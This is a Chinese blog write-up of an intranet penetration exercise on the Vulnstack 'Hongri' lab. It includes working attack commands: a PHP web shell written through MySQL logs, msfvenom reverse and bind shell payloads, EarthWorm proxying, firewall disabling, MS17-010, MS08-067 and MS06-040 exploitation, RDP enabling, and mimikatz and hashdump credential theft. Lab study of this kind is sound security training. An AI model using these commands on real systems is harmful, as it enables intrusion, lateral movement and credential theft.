记一次内网渗透靶场实战

  • A+
所属分类:安全文章

记一次内网渗透靶场实战

内网渗透靶场实战

靶场环境:

  • 红日靶场一 :http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

  • 靶机通用密码: [email protected]

  • win7+win2003+win2008

搭建完成的网络拓扑情况


记一次内网渗透靶场实战


绘制了一张简单的图方便理解:


记一次内网渗透靶场实战


网卡配置:

  • kali一个nat1,模拟外网攻击机

  • win7一个net1网卡,VMnet 2网卡(注意是第一个网络适配器),模拟web服务器

  • win2003 VMnet 2网卡,模拟内网域成员主机

  • win2008 VMnet 2网卡,模拟内网域控主机

整体模拟为win7为web服务器,能够通向内网,并且有服务放置在外网环境,而攻击机只能通过外网来访问win7对应开放的web服务。


记一次内网渗透靶场实战


正确性检测

1、进入win7主机开启phpstudy后访问本地网址进行监测
2、如果配置正确的话,域内主机能够互相ping通,而攻击机无法ping通域内主机,win7主机能够ping通所有主机,但是其他主机不能ping通win7主机,这是因为win7主机防火墙过滤icmp,而Ping的底层则是基于icmp,因此无法ping通。


记一次内网渗透靶场实战


正文

信息收集

列出攻击网卡

ettercap -I / ifconfig /all

列出某网卡对应局域网内的主机

arp-scan -interface=eth0 --localnet
#或者直接使用arp-scan -l

记一次内网渗透靶场实战

在这里,后者则是模拟开放在外网的win7主机对应的IP,确定开放主机后,自然需要先对主机进行信息收集,使用Nmap进行端口探测和目标系统探测。


Nmap扫描

namp -sV -A 192.168.175.129
-sV 版本检测是用来扫描目标主机和端口上运行的软件的版本
-A 启用操作系统和版本检测,脚本扫描和路由跟踪功能
选择nmap 默认端口策略来检测端口情况,根据需要也可以全端口检测

记一次内网渗透靶场实战

端口开放情况不乐观,仅开放常规的两个端口,不过大多数入侵也是针对常规端口进行的,针对3306端口可以选择爆破mysql的用户名和密码,而针对80端口则需要进入web页面进行查看

访问主页是一个phpstudy的web探针:


记一次内网渗透靶场实战


对于信息收集来说这是一个非常有用的讯号,它能够给我们带来很多的关键信息,通过探针得到了管理员邮箱,绝对路径,版本信息等信息。

getshell打入内网

使用dirsearch和dirmap对目录情况进行收集后

python3 dirsearch.py -u "http://192.168.175.129/" -e *
#目录情况进行搜集
python3 dirmap.py -i http://192.168.175.129 -lcf

发现存在如下:

/phpmyadmin
/phpinfo.php
/beifen.rar
/l.php

途径一
phpMyadmin没有设置白名单,直接使用默认的口令root root成功登录:


记一次内网渗透靶场实战


由于知道网站绝对路径,想直接使用into outfile写入一句话:


记一次内网渗透靶场实战


mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出

show global variables like '%secure%';
#查看该参数情况


记一次内网渗透靶场实战


当secure_file_priv为NULL时,表示限制mysql不允许导入导出所以爆出错误

这里使用日志文件进行getshell,具体原理不在赘述:


记一次内网渗透靶场实战


这里如果能够开启日志记录,并且修改日志文件为指定php文件,在通过select将一句话注入到日志文件,即可getshell

SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:/phpStudy/WWW/eval.php'
SELECT '<?php eval($_POST["cmd"]);?>'

成功getshell


记一次内网渗透靶场实战


途径二
在之前phpMyadmin中发现存在某cms的表,并且还有beifen.rar,猜测可能是网站源码,解压得到yxcms文件夹,想到该站可能还部署了一套cms,访问对应路由,这里直接将默认密码写公告了,不过该文件的升级日志能够知道该版本为1.2.1,百度下yxcms的1.2.1源码也能够知道其默认的配置。


记一次内网渗透靶场实战


可以尝试默认密码进入后台:


记一次内网渗透靶场实战


在后台中,前台模板栏可以对php文件进行编辑,因此完全可以写一个一句话后通过源码泄露判断出对应模板文件的位置来进行getshell:


记一次内网渗透靶场实战


并且在yxcms 1.2.1中存在cookie注入漏洞,可以通过对cookie进行编码构造SQL注入payload来达到注入的效果,因此利用该cms进行Getshell的思路也比较多样,具体分析可以参考:
http://foreversong.cn/archives/420

后渗透阶段

得到shell之后使用msf来进行后渗透,先使用msfVENOM生成一个反弹shell的马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.175.130 LPORT=2333 -f exe > exp1ore.exe
#起个易混淆的名字

msf设置好相应的payload进行监听,运行文件等待上线即可:

记一次内网渗透靶场实战

目标机器信息收集


后渗透阶段其实不急着立马提权或者是进行横向渗透,可以先对目标机器以及所在环境进行全方位的信息收集,先对目标机器进行信息收集:

systeminfo #查看详细的系统信息(重要的是能过获取已打补丁的信息)
whoami
hostname
net user #查看帐户的属性
net localgroup administrators #查看系统管理员组
ipconfig /all #查看网络配置情况,网段网关子网掩码等
net share #查看本地开启的共享
netstat -an | find "端口号" #一般查看指定端口的开放情况
wmic product get name,version #查询已安装的软件及版本信息
cmdkey /list #查看3389可信任链接
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:$Recycle.Bin%d ^>%c.txt #windows回收站的信息获取
tasklist | wmic product get name,version #来获得系统进程以及pid等信息

查看已打补丁的好处就是可以根据已有补丁和系统信息来判断还存在哪些漏洞可以进行利用,这里推荐一个利用站:https://bugs.hacking8.com/tiquan/


记一次内网渗透靶场实战

有很多后渗透的cmd手段的信息收集可以参考:
https://www.secpulse.com/archives/51527.html

这里列举部分杀软的进程名称,当然windows Defender也是一种:


记一次内网渗透靶场实战

火绒:hipstray.exe   wsctrl.exe   usysdiag.exe


域信息收集


首先大致了解一下何为Windows的域概念:

域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。身份验证在域控制器上进行。在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。从 Windows Server 2003 开始 , Active Directory 是负责维护该中央数据库的 Windows 组件。Windows 域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

下面是一些常用的查询域信息的命令:

net view /domain #查询域
net group /domain #查询组
net user /domain #查询域用户
net group “domain admins” /domain #查询域管理员信息
net group "domain computers" /domain #查询域内机器信息
net config Workstation #查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域,工作站DNS服务器

执行这些命令时候会发送到域控查询,如果渗透的机器不是域用户权限,则会报错,但是存在域。


定位域控

net time /domian #查询主域服务器的时间

记一次内网渗透靶场实战

得到工作站DNS服务器后可以使用nslookup来查看域控:

nslookup god.org | Nslookup -type=SRV _ldap._tcp.

记一次内网渗透靶场实战


因此在这里确定了存在域,并且域控IP为192.168.52.138


横向渗透


这里先使用msf查看路由信息:

run get_local_subnets 
#将我们需要路由可达的内网网段(192.168.52.0/24)进行加入,建议加入的时候直接和子网掩码一起加入(如果搞不清可变长子网掩码的话)
run autoroute -s 192.168.52.0/255.255.255.0
run autoroute -p #查看现在的路由设置

记一次内网渗透靶场实战

现在路由可达内网网段,可以先对内网主机进行探测,使用msf的arp_scanner模块

除了内网已经控制的跳板机,还有一台应该是域内主机,其IP地址是:192.168.52.141


确认两台主机后可以使用nmap或者auxiliary/scanner/portscan进行端口信息的收集,这里先把跳板机的防火墙关闭,否则后续使用reverse_tcp会无法建立session,因为该防火墙进行了阻拦。


etsh firewall set opmode mode=disablenetsh advfirewall set allprofiles state off


记一次内网渗透靶场实战

139和445端口都开着,很容易让人想到ms17-010这个经久不衰的漏洞,这里可以使用Nmap自带的脚本来进行漏洞fuzz:

nmap --script=vuln 192.168.52.141 

但在此之前需要先进行反向代理,这里也是使用msf自带的代理模块,关于反向代理其实有很多选择,nps、ew、lcx等等都可以进行代理,coblatStrike也附带了代理模块,这里使用ew进行反向代理:


EarthWorm,(简称EW)是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能

#攻击机 
./ew_for_linux64 -s rcsocks -l 3333 -e 8888 #监听8888端口,转发到3333端口
#靶机
./ew_for_win -s rssocks -d 192.168.175.130 -e 8888

记一次内网渗透靶场实战


此时修改/etc/proxychains.conf将端口改为:


记一次内网渗透靶场实战


下面对该域内主机进行漏洞的大致扫描:

nmap --script=vuln 192.168.52.141

由攻击机nmap版本太低,本地是没成功的,找一张成功的图说明一下:

不过根据域内主机的端口开放情况,也自然会想到可能存在ms17-010的洞,因此配置好反向代理后使用scanner/smb/smb_ms17_010:


记一次内网渗透靶场实战


攻击时使用admin/smb/ms17_010_command模块:

发现同样是system权限,使用command模块是判断是否ms17-010是否可以利用,如果需要获得session可以通过

ms17_010_p**ec,不过该模块需要利用管道名称,因此我们还需要利用scanner/smb/pipe_auditor获取域内主机的管道名称:


记一次内网渗透靶场实战

不过这里可能是msf版本比较古老了,换了很多管道都是能够打通但是接收不到session:


记一次内网渗透靶场实战


不过当我换成windows/shell/bind_tcp时,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信,使用p**ec能够成功进入cmd:


记一次内网渗透靶场实战

知道是系统权限,我们可以有两种思路:

  • 1.可以增加新用户到管理员组后,先3389进行连接,运行生成的msf马上线后再使用mimikatz、hashdump等来读内存和注册表中的密码,因为域内该主机的系统是Winserver 2008,默认存储明文密码,不需要进行sha1解密等

  • 2.寻找其他攻击载荷,直接通过msf拿到session

下面分别进行:

方式一

先增加test用户,并且将其放入管理员组中,并且将3389打开:


REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


记一次内网渗透靶场实战

记一次内网渗透靶场实战

#使用rdesktop来进行文件夹共享
redesktop -a 24 -f -r disk:share=/root/shell 192.168.52.141
虚拟机不建议使用-f进入全屏状态

这里开始使用reverse_tcp的exe文件,但是发现反弹shell始终监听不到,使用正向:


msfvenom -p windows/meterpreter/bind_tcp ARCH=x86 PLATFROM=WIN RHOST=192.168.52.141 -f exe >bind.exe


记一次内网渗透靶场实战

记一次内网渗透靶场实战


但是后续还需要权限维持,进程迁移之类,否则建立的session很容易die掉


记一次内网渗透靶场实战


下面使用第二种方式,来拿下该域内主机:
获取到systeminfo信息后从之前的漏洞库网站进行搜索:


记一次内网渗透靶场实战


经过试探后准备使用比较经典且范围较大的一个栈缓冲区溢出的漏洞MS08-067

MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。

刚刚突然理解为啥之前的reverse_tcp不好用了,注意我们使用的是反向代理,能够使得攻击机借助跳板机来进入内网,而内网是无法通过跳板机来ping通攻击机的,因此我们要使用正向的payload,这样靶机监听某个端口我们通过跳板机去连接,能够成功。


记一次内网渗透靶场实战


根据漏洞库的信息还可以使用Microsoft Windows Server服务远程缓冲区溢出漏洞MS06-040进行攻击,同样使用正向的payload,注意此处选择target 5对应的系统版本是win 2003:


记一次内网渗透靶场实战


经过测试还能够利用如下漏洞:


记一次内网渗透靶场实战


漏洞实质上影响的是使用RPC的DCOM接口,此接口处理由客户端机器发送给服务器的DCOM对象激活请求(如UNC路径)。攻击者通过向目标发送畸形 RPC DCOM请求来利用这些漏洞。成功利用此漏洞可以以本地系统权限执行任意指令。攻击者可以在系统上执行任意操作  ,如安装程序、查看或更改、删除数据或创建系统管理员权限的帐户。

同样使用windows/meterpreter/bind_tcp正向的payload:


记一次内网渗透靶场实战

凭证获取

这里使用

run post/windows/gather/smart_hashdump
run post/windows/gather/smart_hashdump

来获取系统用户hash,数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::

前文说过,windows2008及之前操作系统密码存储默认是明文形式的,因此直接加载mimikatz模块后使用wdigest进行抓取:


记一次内网渗透靶场实战


攻击域控

先对域控主机的端口开放情况进行了解:


记一次内网渗透靶场实战


不妨也是用ms17-010来进行探测:


记一次内网渗透靶场实战


不过在这里各种尝试都无法得到session,此前使用net group "domain admins" /domain得到了域管理员只有Administrator,而我们通过抓取明文密码已经得到了域管理员的密码,其实后来对137端口进行探测,发现也是开放的:

  • 如果开启了137端口(wmi)首先还是建议用wmi , 可以直接利用auxiliary/scanner/smb/impacket/wmiexec来代码执行,就可以来开启3389 ,以及配置防火墙等。

  • 如果开启了139,445端口,可以先尝试用exploit/windows/smb/p**ec 来登录,弹正向shell.然后代码执行开启3389,配置防火墙。

WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。

原理:整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。


当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。


记一次内网渗透靶场实战


因此可以开启3389后进行登录即可,这里在使用其他的姿势:

由于是域环境内,可以通过ipc共享文件来讲恶意文件上传后,通过命令进行下载运行,从而使得msf上线,得到域控权限:
将msf马放入shell文件夹中,在将文件夹设为共享文件,用户可以是everyone
net share查看共享情况可以发现共享文件夹:


记一次内网渗透靶场实战

copy \192.168.52.143shellexe C:1.exe

最后等待上线即可

总结

本次靶场环境搭建还算顺利,不过由于是在kali虚拟机中,并且没连上网,导致很多脚本不能使用,CobaltStrike也没有使用,不过也感受到msf的强大之处,其次就是内网横向渗透的信息收集十分重要,139、445、137等端口可以多往p**ec和wmiexec方面想想,还有ms的漏洞使用,代理方面其实比较复杂,如果存在多级内网并且内网不出的情况,处理起来比较棘手。

记一次内网渗透靶场实战

本文始发于微信公众号(疯猫网络):记一次内网渗透靶场实战

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: